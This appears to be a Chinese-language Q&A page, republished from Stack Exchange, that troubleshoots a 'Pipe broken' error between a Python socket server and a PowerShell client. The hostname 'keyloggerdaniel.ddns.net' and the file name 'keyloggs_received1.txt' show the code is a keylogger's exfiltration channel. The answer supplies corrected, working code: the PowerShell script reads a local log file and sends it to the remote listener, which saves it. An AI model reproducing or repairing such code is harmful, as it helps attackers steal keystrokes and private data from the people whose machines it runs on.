如何通过PowerShell向Python服务器发送字符串并解决Pipe broken报错
Pipe broken错误修复方案

核心问题原因
- 协议不匹配:服务端设定先接收64字节的消息长度头,再读取对应长度的实际内容,但PowerShell客户端完全没有发送长度头的逻辑,直接发送文本内容,服务端会把收到的文本内容错误解析为长度值,后续逻辑完全错乱。
- 服务端逻辑错误:首次接收到内容写入文件后直接调用
file.close(),如果后续还有内容要写入会直接触发IO错误;同时服务端每次循环都会尝试向客户端回发确认消息,但客户端发完内容直接关闭了套接字,服务端尝试向已关闭的连接发数据就会触发Pipe broken错误。 - 客户端逻辑错误:
StreamWriter自带缓冲区,调用WriteLine后没有调用Flush()方法,可能存在内容还没完全发送就关闭套接字的情况;且发送完成后直接关闭连接,没有等待服务端的确认返回,提前断开连接导致服务端回发消息失败。
修正后的服务端代码
import socket import threading PORT = 1337 SERVER = 'keyloggerdaniel.ddns.net' ADDR = (SERVER, PORT) FORMAT = 'utf-8' DISCONNECT_MESSAGE = "!DISCONNECT" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(ADDR) server.listen(5) def handle_client(conn, addr): print(f"[NEW CONNECTION] {addr} connected.") filename = "keyloggs_received1.txt" # 用with语句自动管理文件关闭,避免提前关闭的问题 with open(filename, 'wb') as file: connected = True while connected: # 直接接收数据,每次最多收1024字节,recv返回空代表客户端已断开连接 msg = conn.recv(1024) if not msg: connected = False break file.write(msg) # 所有数据接收完成后再回发确认 try: conn.send("Msg received".encode(FORMAT)) except: pass print("File has been received successfully.") conn.close() def start(): print(f"[LISTENING] Server is listening on {SERVER}") while True: conn, addr = server.accept() thread = threading.Thread(target=handle_client, args=(conn, addr)) thread.start() print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}") print("[STARTING] server is starting...") start()
修正后的PowerShell代码
$file = "C:\Users\Daniel Maderner\log.txt" # 用Raw参数一次性读取全部内容,避免换行符丢失 $file_Content = Get-Content $file -Raw $socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337); $stream = $socket.GetStream(); $writer = new-object System.IO.StreamWriter($stream); $writer.WriteLine($file_Content); # 强制刷新缓冲区,确保所有内容都发送出去 $writer.Flush(); # 等待接收服务端的确认消息 $buffer = New-Object System.Byte[] 1024 $readLength = $stream.Read($buffer, 0, $buffer.Length) $response = [System.Text.Encoding]::UTF8.GetString($buffer, 0, $readLength) Write-Host "服务端返回:$response" # 收到确认后再关闭连接 $socket.close()
内容的提问来源于stack exchange,提问作者user15951700
相关产品推荐
相关产品推荐

